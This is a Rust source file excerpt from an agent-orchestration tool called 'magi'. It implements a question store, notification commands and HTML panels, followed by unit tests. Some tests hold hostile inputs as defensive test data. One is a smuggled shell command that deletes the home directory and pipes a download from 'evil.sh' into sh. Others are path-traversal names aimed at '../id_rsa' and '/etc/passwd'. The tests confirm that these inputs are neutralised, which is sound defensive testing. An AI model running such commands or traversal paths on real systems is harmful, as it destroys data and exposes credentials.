1790 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1791 so the link will be empty - export it next to `magi serve` with \
1792 the address `magi web --open` printed"
1793 );
1794 }
1795 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1796 tracing::debug!(program = %program, args = ?argv, "notifying");
1797
1798 let mut child = tokio::process::Command::new(program);
1799 child.quiet();
1800 child
1801 .args(&argv)
1802 .stdin(std::process::Stdio::null())
1803 .kill_on_drop(true);
1806 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
1807 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
1808 Err(_) => bail!(
1809 "notification command `{program}` did not finish within {}s",
1810 NOTIFY_TIMEOUT.as_secs()
1811 ),
1812 };
1813 if !out.status.success() {
1814 let stderr = String::from_utf8_lossy(&out.stderr);
1815 let why = stderr
1816 .lines()
1817 .rev()
1818 .find(|l| !l.trim().is_empty())
1819 .unwrap_or("no output on stderr")
1820 .trim();
1821 bail!(
1822 "notification command `{program}` exited with {}: {why}",
1823 out.status
1824 );
1825 }
1826 Ok(())
1827}
1828
1829fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
1835 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
1836 let mut out = String::with_capacity(template.len());
1837 let mut rest = template;
1838 while let Some(at) = rest.find('{') {
1839 out.push_str(&rest[..at]);
1840 let tail = &rest[at..];
1841 match table.iter().find(|(token, _)| tail.starts_with(token)) {
1842 Some((token, value)) => {
1843 out.push_str(value);
1844 rest = &tail[token.len()..];
1845 }
1846 None => {
1847 out.push('{');
1849 rest = &tail[1..];
1850 }
1851 }
1852 }
1853 out.push_str(rest);
1854 out
1855}
1856
1857fn web_url() -> String {
1859 question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default())
1860}
1861
1862fn question_url(base: &str) -> String {
1869 let base = base.trim().trim_end_matches('/');
1870 if base.is_empty() || base.contains('#') {
1871 return base.to_owned();
1872 }
1873 format!("{base}/#/questions")
1874}
1875
1876fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
1881 let index = dir.join(PANEL_HTML);
1882 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
1883 for (name, src) in assets {
1884 let dst = dir.join(name);
1885 std::fs::copy(src, &dst)
1886 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
1887 }
1888 Ok(())
1889}
1890
1891fn clear_dir(path: &Path) -> Result<()> {
1896 match std::fs::remove_dir_all(path) {
1897 Ok(()) => Ok(()),
1898 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
1899 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
1900 }
1901}
1902
1903fn read_path(path: &Path) -> Result<Question> {
1904 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
1905 let q: Question =
1906 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
1907 if q.schema > SCHEMA {
1908 bail!(
1913 "question {} was written by a newer magi (schema {}, this build \
1914 only speaks up to {SCHEMA})",
1915 q.id,
1916 q.schema
1917 );
1918 }
1919 Ok(q)
1920}
1921
1922pub fn short_id(id: &str) -> &str {
1924 short(id)
1925}
1926
1927fn short(id: &str) -> &str {
1928 id.split('-').next_back().unwrap_or(id)
1929}
1930
1931fn new_id() -> String {
1932 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
1933 let seed = crate::rng::entropy();
1934 format!("{stamp}-{:04x}", (seed ^ (seed >> 32)) & 0xffff)
1935}
1936
1937#[cfg(test)]
1938mod tests {
1939 use super::*;
1940
1941 fn store() -> (tempfile::TempDir, Questions) {
1944 let dir = tempfile::tempdir().unwrap();
1945 let s = Questions::at(dir.path().join("questions"));
1946 (dir, s)
1947 }
1948
1949 #[test]
1950 fn run_names_task_only_for_task_questions() {
1951 for (node, want) in [
1952 (crate::conduct::NODE, true),
1953 (crate::triage::NODE, true),
1954 (crate::triage::DEPS_NODE, true),
1955 (crate::land::APPROVAL_NODE, false),
1956 (crate::bump::NOTICE_NODE, false),
1957 ("implement", false),
1958 ] {
1959 let mut q = choice_question();
1960 q.node = node.to_owned();
1961 assert_eq!(q.run_names_task(), want, "{node}");
1962 }
1963 }
1964
1965 #[test]
1966 fn deleting_a_run_stops_its_questions_asking() {
1967 let (_dir, store) = store();
1968
1969 let mut open_one = choice_question();
1970 store.put(&mut open_one).unwrap();
1971 let mut answered = free_question();
1972 answered
1973 .answer(Answer::Text("keep this".to_owned()))
1974 .unwrap();
1975 store.put(&mut answered).unwrap();
1976 let mut elsewhere = choice_question();
1977 elsewhere.run = "20260903-105039-3cbf".to_owned();
1978 store.put(&mut elsewhere).unwrap();
1979
1980 let n = store
1981 .abandon_for_run(&open_one.run, "run was deleted")
1982 .unwrap();
1983 assert_eq!(n, 1, "only the open question of that run");
1984
1985 let back = store.get(&open_one.id).unwrap();
1986 assert!(!back.status.open(), "it no longer asks for a decision");
1987 assert!(
1988 back.detail.contains("run was deleted"),
1989 "the operator can see why: {}",
1990 back.detail
1991 );
1992
1993 let kept = store.get(&answered.id).unwrap();
1994 assert_eq!(
1995 kept.status,
1996 QuestionStatus::Answered,
1997 "an answered question is a decision on record, not something to revoke"
1998 );
1999 assert!(
2000 store.get(&elsewhere.id).unwrap().status.open(),
2001 "another run's question is untouched"
2002 );
2003 assert!(store.open_for(&open_one.run).is_empty());
2004 }
2005
2006 #[test]
2007 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2008 let (_dir, store) = store();
2009 let mut q = choice_question();
2010 store.put(&mut q).unwrap();
2011
2012 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2014 assert_eq!(n, 0);
2015 assert!(store.get(&q.id).unwrap().status.open());
2016
2017 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2020 assert_eq!(n, 1);
2021 let back = store.get(&q.id).unwrap();
2022 assert!(!back.status.open());
2023 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2024
2025 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2027 }
2028
2029 fn choice_question() -> Question {
2030 Question::new(
2031 "20260902-201256-9fb7".to_owned(),
2032 "implement".to_owned(),
2033 "impl-A".to_owned(),
2034 "Which storage backend should the cache use?".to_owned(),
2035 "Both are already dependencies.".to_owned(),
2036 vec!["SQLite".to_owned(), "Redis".to_owned()],
2037 )
2038 }
2039
2040 fn free_question() -> Question {
2041 Question::new(
2042 "20260902-201256-9fb7".to_owned(),
2043 "review".to_owned(),
2044 "rev-1".to_owned(),
2045 "What should the error message say?".to_owned(),
2046 String::new(),
2047 Vec::new(),
2048 )
2049 }
2050
2051 fn quiet() -> config::Notify {
2053 config::Notify::default()
2054 }
2055
2056 #[test]
2057 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2058 let mut q = choice_question();
2062 q.id = "20260902-231501-ab12".to_owned();
2063 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2064 let keys: Vec<&str> = open
2068 .as_object()
2069 .unwrap()
2070 .keys()
2071 .map(String::as_str)
2072 .collect();
2073 assert_eq!(
2074 keys,
2075 [
2076 "actions",
2077 "answer",
2078 "answer_delivered",
2079 "answer_timeout",
2080 "answered_at",
2081 "asked_at",
2082 "assets",
2083 "choices",
2084 "consult",
2085 "cwd",
2086 "delivered_turns",
2087 "deputy",
2088 "detail",
2089 "id",
2090 "node",
2091 "panel",
2092 "run",
2093 "schema",
2094 "seat",
2095 "status",
2096 "summary",
2097 "thread",
2098 "waiter",
2099 ],
2100 "the on-disk field set is a contract with the front end"
2101 );
2102 assert_eq!(open["schema"], 9);
2103 assert_eq!(open["thread"], serde_json::json!([]));
2104 assert_eq!(open["id"], "20260902-231501-ab12");
2105 assert_eq!(open["run"], "20260902-201256-9fb7");
2106 assert_eq!(open["node"], "implement");
2107 assert_eq!(open["seat"], "impl-A");
2108 assert_eq!(open["status"], "open");
2109 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2110 assert_eq!(open["answered_at"], serde_json::Value::Null);
2111 assert_eq!(open["answer"], serde_json::Value::Null);
2112 let asked = open["asked_at"].as_str().unwrap();
2113 assert!(
2114 asked.ends_with('Z') && asked.contains('T'),
2115 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2116 );
2117
2118 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2120 let answered = serde_json::to_value(&q).unwrap();
2121 assert_eq!(answered["status"], "answered");
2122 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2123 assert!(answered["answered_at"].is_string());
2124
2125 let mut free = free_question();
2127 free.answer(Answer::Text("Say which file it was".to_owned()))
2128 .unwrap();
2129 assert_eq!(
2130 serde_json::to_value(&free).unwrap()["answer"],
2131 serde_json::json!({"text": "Say which file it was"})
2132 );
2133
2134 let body = serde_json::to_string(&q).unwrap();
2136 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2137 }
2138
2139 #[test]
2140 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2141 let mut unoffered = choice_question();
2144 let a = unoffered
2145 .answer(Answer::Choice("Postgres".to_owned()))
2146 .unwrap_err()
2147 .to_string();
2148
2149 let mut typed = choice_question();
2150 let b = typed
2151 .answer(Answer::Text("use Postgres".to_owned()))
2152 .unwrap_err()
2153 .to_string();
2154
2155 let mut blank = free_question();
2156 let c = blank
2157 .answer(Answer::Text(" \n".to_owned()))
2158 .unwrap_err()
2159 .to_string();
2160
2161 let mut twice = choice_question();
2162 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2163 let d = twice
2164 .answer(Answer::Choice("Redis".to_owned()))
2165 .unwrap_err()
2166 .to_string();
2167
2168 assert!(a.contains("not one of the choices"), "{a}");
2169 assert!(b.contains("multiple choice"), "{b}");
2170 assert!(c.contains("empty"), "{c}");
2171 assert!(d.contains("already answered"), "{d}");
2172 let mut distinct = vec![a, b, c, d];
2173 let asked = distinct.len();
2174 distinct.sort_unstable();
2175 distinct.dedup();
2176 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2177
2178 assert_eq!(unoffered.status, QuestionStatus::Open);
2180 assert_eq!(typed.status, QuestionStatus::Open);
2181 assert_eq!(blank.status, QuestionStatus::Open);
2182 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2184
2185 let mut free = free_question();
2187 let e = free
2188 .answer(Answer::Choice("SQLite".to_owned()))
2189 .unwrap_err()
2190 .to_string();
2191 assert!(e.contains("free text"), "{e}");
2192 }
2193
2194 #[test]
2195 fn open_questions_are_listed_before_answered_ones() {
2196 let (_dir, s) = store();
2197 let mut old_open = choice_question();
2200 old_open.id = "20260101-000001-aaaa".to_owned();
2201 let mut new_open = choice_question();
2202 new_open.id = "20260101-000002-bbbb".to_owned();
2203 let mut answered = choice_question();
2204 answered.id = "20260101-000003-cccc".to_owned();
2205 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2206 for q in [&mut old_open, &mut new_open, &mut answered] {
2207 s.put(q).unwrap();
2208 }
2209
2210 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2211 assert_eq!(
2212 ids,
2213 [
2214 "20260101-000002-bbbb",
2215 "20260101-000001-aaaa",
2216 "20260101-000003-cccc"
2217 ],
2218 "what has stopped work comes first; history sorts underneath"
2219 );
2220 assert_eq!(s.count_open(), 2);
2221 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2222 assert!(s.open_for("some-other-run").is_empty());
2223 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2225 assert!(s.get("20260101-000002-bbbb").is_ok());
2226 assert!(s.resolve_id("nope").is_err());
2227 assert!(
2228 s.revision() > 0,
2229 "the store's mtime drives the phone's polling"
2230 );
2231 }
2232
2233 #[test]
2234 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2235 let (_dir, s) = store();
2236 let mut good = choice_question();
2237 s.put(&mut good).unwrap();
2238 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2240 let future = serde_json::json!({
2241 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2242 "seat": "s", "summary": "?", "detail": "", "choices": [],
2243 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2244 "answered_at": null, "answer": null,
2245 });
2246 std::fs::write(
2247 s.path_of("20260101-000010-beef"),
2248 serde_json::to_string(&future).unwrap(),
2249 )
2250 .unwrap();
2251
2252 let listed = s.list();
2253 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2254 assert_eq!(listed[0].id, good.id);
2255 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2257 assert!(e.contains("schema"), "{e}");
2258 }
2259
2260 #[tokio::test]
2261 async fn the_wait_returns_the_answer_another_process_wrote() {
2262 let (dir, s) = store();
2267 let mut q = choice_question();
2268 let id = q.id.clone();
2269 let writer = Questions::at(dir.path().join("questions"));
2270 let handle = tokio::spawn(async move {
2271 tokio::time::sleep(Duration::from_millis(30)).await;
2272 let mut fresh = writer.get(&id).expect("the question was filed first");
2273 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2274 writer.put(&mut fresh).unwrap();
2275 });
2276
2277 let got = wait_for_owner(
2278 &mut q,
2279 &s,
2280 &quiet(),
2281 Duration::from_secs(5),
2282 Duration::from_millis(10),
2283 )
2284 .await
2285 .unwrap();
2286
2287 handle.await.unwrap();
2288 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2289 assert_eq!(
2290 q.status,
2291 QuestionStatus::Answered,
2292 "the caller's copy is refreshed from the answering process's record"
2293 );
2294 assert!(q.answered_at.is_some());
2295 }
2296
2297 #[tokio::test]
2298 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2299 let (_dir, s) = store();
2300 let mut q = choice_question();
2301
2302 let got = wait_for_owner(
2303 &mut q,
2304 &s,
2305 &quiet(),
2306 Duration::from_millis(60),
2307 Duration::from_millis(10),
2308 )
2309 .await
2310 .unwrap();
2311
2312 assert_eq!(
2313 got,
2314 Wait::Abandoned,
2315 "a slow human is not an error; the run parks"
2316 );
2317 assert_eq!(q.status, QuestionStatus::Abandoned);
2318 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2319 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2320 assert!(
2321 on_disk.detail.contains("Abandoned:"),
2322 "why nobody answered belongs with the question: {}",
2323 on_disk.detail
2324 );
2325 assert!(on_disk.resolution().is_none());
2326 assert_eq!(s.count_open(), 0);
2327 }
2328
2329 #[tokio::test]
2330 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2331 let (_dir, s) = store();
2336 let mut q = choice_question();
2337 s.put(&mut q).unwrap();
2338
2339 let got = wait_loop(
2340 &mut q,
2341 &s,
2342 Duration::from_secs(3600),
2343 Duration::from_millis(30),
2344 Duration::from_millis(10),
2345 )
2346 .await
2347 .unwrap();
2348
2349 assert_eq!(
2350 got,
2351 Wait::Pending,
2352 "the clock on this call ran out, not the owner's patience"
2353 );
2354 assert_eq!(
2355 q.status,
2356 QuestionStatus::Open,
2357 "a slice expiring must never abandon the question"
2358 );
2359 let on_disk = s.get(&q.id).expect("still on disk, still open");
2360 assert_eq!(
2361 on_disk.status,
2362 QuestionStatus::Open,
2363 "nothing about the record changed just because this call gave up"
2364 );
2365 }
2366
2367 #[tokio::test]
2368 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2369 let (dir, s) = store();
2374 let mut q = choice_question();
2375 s.put(&mut q).unwrap();
2376
2377 let first = wait_loop(
2378 &mut q,
2379 &s,
2380 Duration::from_secs(3600),
2381 Duration::from_millis(30),
2382 Duration::from_millis(10),
2383 )
2384 .await
2385 .unwrap();
2386 assert_eq!(first, Wait::Pending);
2387
2388 let id = q.id.clone();
2389 let writer = Questions::at(dir.path().join("questions"));
2390 let mut fresh = writer.get(&id).unwrap();
2391 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2392 writer.put(&mut fresh).unwrap();
2393
2394 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2399 .await
2400 .unwrap();
2401 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2402 assert_eq!(q.status, QuestionStatus::Answered);
2403 }
2404
2405 #[tokio::test]
2406 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2407 let (dir, s) = store();
2417 let mut q = choice_question();
2418 s.put(&mut q).unwrap();
2419
2420 let first = wait_loop(
2421 &mut q,
2422 &s,
2423 Duration::from_secs(3600),
2424 Duration::from_millis(30),
2425 Duration::from_millis(10),
2426 )
2427 .await
2428 .unwrap();
2429 assert_eq!(first, Wait::Pending);
2430
2431 let id = q.id.clone();
2433 let writer = Questions::at(dir.path().join("questions"));
2434 let mut fresh = writer.get(&id).unwrap();
2435 fresh.say("why not Postgres?").unwrap();
2436 writer.put(&mut fresh).unwrap();
2437
2438 let mut resumed = s.get(&id).unwrap();
2442 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2443 .await
2444 .unwrap();
2445 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2446 assert_eq!(
2447 resumed.status,
2448 QuestionStatus::Open,
2449 "talking back is not a decision; the question stays open"
2450 );
2451 }
2452
2453 #[tokio::test]
2454 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2455 let (dir, s) = store();
2459 let broken = config::Notify {
2460 command: vec![
2461 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2462 "{summary}".to_owned(),
2463 ],
2464 };
2465 let mut q = choice_question();
2466 assert!(
2467 notify(&broken, &q).await.is_err(),
2468 "the caller is told; it decides that it does not matter"
2469 );
2470
2471 let id = q.id.clone();
2472 let writer = Questions::at(dir.path().join("questions"));
2473 let handle = tokio::spawn(async move {
2474 tokio::time::sleep(Duration::from_millis(30)).await;
2475 let mut fresh = writer.get(&id).unwrap();
2476 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2477 writer.put(&mut fresh).unwrap();
2478 });
2479 let got = wait_for_owner(
2480 &mut q,
2481 &s,
2482 &broken,
2483 Duration::from_secs(5),
2484 Duration::from_millis(10),
2485 )
2486 .await
2487 .unwrap();
2488 handle.await.unwrap();
2489 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2490
2491 assert!(notify(&quiet(), &q).await.is_ok());
2493 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2494 }
2495
2496 #[test]
2497 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2498 let mut q = choice_question();
2499 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2500 let template = [
2501 "ntfy".to_owned(),
2502 "publish".to_owned(),
2503 "--click".to_owned(),
2504 "{url}".to_owned(),
2505 "--title".to_owned(),
2506 "magi {run} needs you".to_owned(),
2507 "{summary}".to_owned(),
2508 ];
2509 let argv: Vec<String> = template
2510 .iter()
2511 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2512 .collect();
2513
2514 assert_eq!(
2515 argv,
2516 [
2517 "ntfy",
2518 "publish",
2519 "--click",
2520 "http://100.64.0.1:7777/#/questions",
2521 "--title",
2522 "magi 20260902-201256-9fb7 needs you",
2523 "; rm -rf ~ && curl evil.sh | sh #",
2524 ],
2525 "the shell metacharacters are one argument's contents, not syntax"
2526 );
2527
2528 q.summary = "should {url} be configurable?".to_owned();
2531 assert_eq!(
2532 expand("{summary}", &q.run, &q.summary, "http://x/#/questions"),
2533 "should {url} be configurable?"
2534 );
2535 assert_eq!(
2537 expand("{title}: {run}", &q.run, &q.summary, ""),
2538 "{title}: 20260902-201256-9fb7"
2539 );
2540 assert_eq!(
2541 expand("no placeholders", &q.run, &q.summary, "http://x"),
2542 "no placeholders"
2543 );
2544 }
2545
2546 #[test]
2547 fn the_notification_link_lands_on_the_view_that_can_answer() {
2548 assert_eq!(
2549 question_url("http://100.64.0.1:7777"),
2550 "http://100.64.0.1:7777/#/questions"
2551 );
2552 assert_eq!(
2553 question_url("http://100.64.0.1:7777/"),
2554 "http://100.64.0.1:7777/#/questions"
2555 );
2556 assert_eq!(
2558 question_url("http://magi.ts.net/#/runs"),
2559 "http://magi.ts.net/#/runs"
2560 );
2561 assert_eq!(question_url(" "), "");
2563 }
2564
2565 fn panelled() -> Question {
2567 let mut q = choice_question();
2568 q.id = "20260903-014455-ab12".to_owned();
2569 q
2570 }
2571
2572 #[test]
2573 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2574 let (dir, s) = store();
2575 let work = dir.path().join("worktree");
2576 std::fs::create_dir_all(&work).unwrap();
2577 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2578 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2579
2580 let mut q = panelled();
2581 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2582 s.put_panel(
2583 &mut q,
2584 html,
2585 &[work.join("table.png"), work.join("diff.svg")],
2586 )
2587 .unwrap();
2588 s.put(&mut q).unwrap();
2589
2590 assert!(q.panel);
2591 assert_eq!(
2592 q.assets,
2593 ["diff.svg", "table.png"],
2594 "sorted, not in the order the agent happened to pass them"
2595 );
2596 assert_eq!(
2597 s.panel_html(&q.id).as_deref(),
2598 Some(html),
2599 "the html is stored byte for byte; the agent authored the markup"
2600 );
2601 assert_eq!(
2602 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2603 Some(&b"<svg/>"[..])
2604 );
2605
2606 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2608 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2609 assert_eq!(json["panel"], true);
2610 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2611 let back = s.get(&q.id).unwrap();
2612 assert!(back.panel);
2613 assert_eq!(back.assets, q.assets);
2614
2615 std::fs::remove_dir_all(&work).unwrap();
2618 assert_eq!(
2619 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2620 Some(&b"\x89PNG"[..]),
2621 "a referenced asset would be gone with the worktree"
2622 );
2623 }
2624
2625 #[test]
2626 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2627 let (dir, s) = store();
2628 let mut q = panelled();
2629 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2630 s.put(&mut q).unwrap();
2631
2632 let secret = "this must never reach the browser";
2635 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2636 assert_eq!(
2637 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2638 secret,
2639 "the traversal is real: the operating system resolves this path \
2640 happily, which is why the name has to be refused before the join"
2641 );
2642
2643 let long = "x".repeat(200);
2644 for name in [
2645 "..",
2646 "../id_rsa",
2647 "..\\id_rsa",
2648 "sub/../id_rsa",
2649 "/",
2650 "\\",
2651 "/etc/passwd",
2652 "C:\\Windows\\win.ini",
2653 "",
2654 ".hidden",
2655 ".",
2656 long.as_str(),
2657 ] {
2658 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
2659 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2660 assert!(
2661 e.contains("not a panel file name"),
2662 "`{name}` must be refused as a name, not attempted: {e}"
2663 );
2664 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2665 }
2666 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2669
2670 let hidden = dir.path().join(".hidden");
2673 std::fs::write(&hidden, "x").unwrap();
2674 let e = s
2675 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2676 .unwrap_err()
2677 .to_string();
2678 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2679 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2680 assert!(q.assets.is_empty());
2681 }
2682
2683 #[test]
2684 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2685 let (dir, s) = store();
2686 let mut q = panelled();
2687 s.put(&mut q).unwrap();
2688
2689 let big = dir.path().join("recording.png");
2692 std::fs::File::create(&big)
2693 .unwrap()
2694 .set_len(PANEL_MAX_BYTES)
2695 .unwrap();
2696
2697 let html = "<p>see the recording</p>";
2698 let total = PANEL_MAX_BYTES + html.len() as u64;
2699 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2700 assert!(
2701 e.contains(&PANEL_MAX_BYTES.to_string()),
2702 "the cap is named so the agent knows the limit: {e}"
2703 );
2704 assert!(
2705 e.contains(&total.to_string()),
2706 "the actual size is named so the agent knows by how much: {e}"
2707 );
2708
2709 assert!(!q.panel);
2710 assert!(q.assets.is_empty());
2711 let left: Vec<String> = std::fs::read_dir(s.root())
2712 .unwrap()
2713 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2714 .collect();
2715 assert_eq!(
2716 left,
2717 [format!("{}.json", q.id)],
2718 "a refused panel leaves neither a directory nor scratch: {left:?}"
2719 );
2720 }
2721
2722 #[test]
2723 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2724 let (dir, s) = store();
2725 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2726 std::fs::create_dir_all(&before).unwrap();
2727 std::fs::create_dir_all(&after).unwrap();
2728 std::fs::write(before.join("diff.png"), "before").unwrap();
2729 std::fs::write(after.join("diff.png"), "after").unwrap();
2730
2731 let mut q = panelled();
2732 let e = s
2733 .put_panel(
2734 &mut q,
2735 "<p>x</p>",
2736 &[before.join("diff.png"), after.join("diff.png")],
2737 )
2738 .unwrap_err()
2739 .to_string();
2740 assert!(e.contains("diff.png"), "{e}");
2741 assert!(
2742 e.contains("before") && e.contains("after"),
2743 "both sources are named, because the fix is to rename one: {e}"
2744 );
2745 assert!(!q.panel);
2746 assert!(!s.panel_dir(&q.id).exists());
2747 }
2748
2749 #[test]
2750 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2751 let (dir, s) = store();
2752 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2753 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2754
2755 let mut q = panelled();
2756 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2757 .unwrap();
2758 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2759 .unwrap();
2760
2761 assert_eq!(q.assets, ["new.png"]);
2762 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2763 assert!(
2764 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2765 "an asset from the first attempt would show a mix of two answers"
2766 );
2767
2768 s.drop_panel(&q.id).unwrap();
2769 assert!(s.panel_html(&q.id).is_none());
2770 assert!(!s.panel_dir(&q.id).exists());
2771 s.drop_panel(&q.id)
2772 .expect("dropping a panel that is already gone is the desired state");
2773 }
2774
2775 #[test]
2776 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2777 let (_dir, s) = store();
2778 let mut q = panelled();
2779 s.put(&mut q).unwrap();
2780
2781 assert!(!q.panel);
2782 assert!(s.panel_html(&q.id).is_none());
2783 assert!(
2784 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2785 "a missing file is a 404 for the caller, not a failure of the store"
2786 );
2787 let json = serde_json::to_value(&q).unwrap();
2788 assert_eq!(json["panel"], false);
2789 assert_eq!(json["assets"], serde_json::json!([]));
2790
2791 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2794 assert!(e.contains("empty panel"), "{e}");
2795 assert!(!s.panel_dir(&q.id).exists());
2796 }
2797
2798 #[test]
2799 fn a_question_written_before_panels_existed_still_deserialises() {
2800 let (_dir, s) = store();
2801 std::fs::create_dir_all(s.root()).unwrap();
2802 let id = "20260902-231501-ab12";
2803 let body = r#"{
2805 "schema": 1,
2806 "id": "20260902-231501-ab12",
2807 "run": "20260902-201256-9fb7",
2808 "node": "implement",
2809 "seat": "impl-A",
2810 "summary": "Which storage backend should the cache use?",
2811 "detail": "Both are already dependencies.",
2812 "choices": ["SQLite", "Redis"],
2813 "status": "open",
2814 "asked_at": "2026-09-02T23:15:01Z",
2815 "answered_at": null,
2816 "answer": null
2817}"#;
2818 std::fs::write(s.path_of(id), body).unwrap();
2819
2820 let q = s.get(id).unwrap();
2821 assert!(
2822 !q.panel,
2823 "an absent field means no panel, not a parse error"
2824 );
2825 assert!(q.assets.is_empty());
2826 assert_eq!(q.schema, 1);
2831 assert!(q.thread.is_empty());
2832 assert_eq!(
2833 q.answer_timeout, 0,
2834 "an absent field means unrecorded, not a zero-second deadline"
2835 );
2836 assert!(!q.waiting_on_agent());
2837 assert_eq!(q.summary, "Which storage backend should the cache use?");
2838 assert_eq!(
2839 s.list().len(),
2840 1,
2841 "and it is still listed; skipping it would hide an open question"
2842 );
2843 }
2844
2845 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2846 Turn {
2847 who,
2848 body: body.to_owned(),
2849 at,
2850 note: None,
2851 }
2852 }
2853
2854 #[test]
2855 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2856 let mut q = choice_question();
2859 q.thread
2860 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2861 let value = serde_json::to_value(&q.thread[0]).unwrap();
2862 let mut keys: Vec<&str> = value
2863 .as_object()
2864 .unwrap()
2865 .keys()
2866 .map(String::as_str)
2867 .collect();
2868 keys.sort_unstable();
2869 assert_eq!(keys, ["at", "body", "who"]);
2870 assert_eq!(value["who"], "operator");
2871 assert_eq!(value["body"], "why not Postgres?");
2872
2873 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
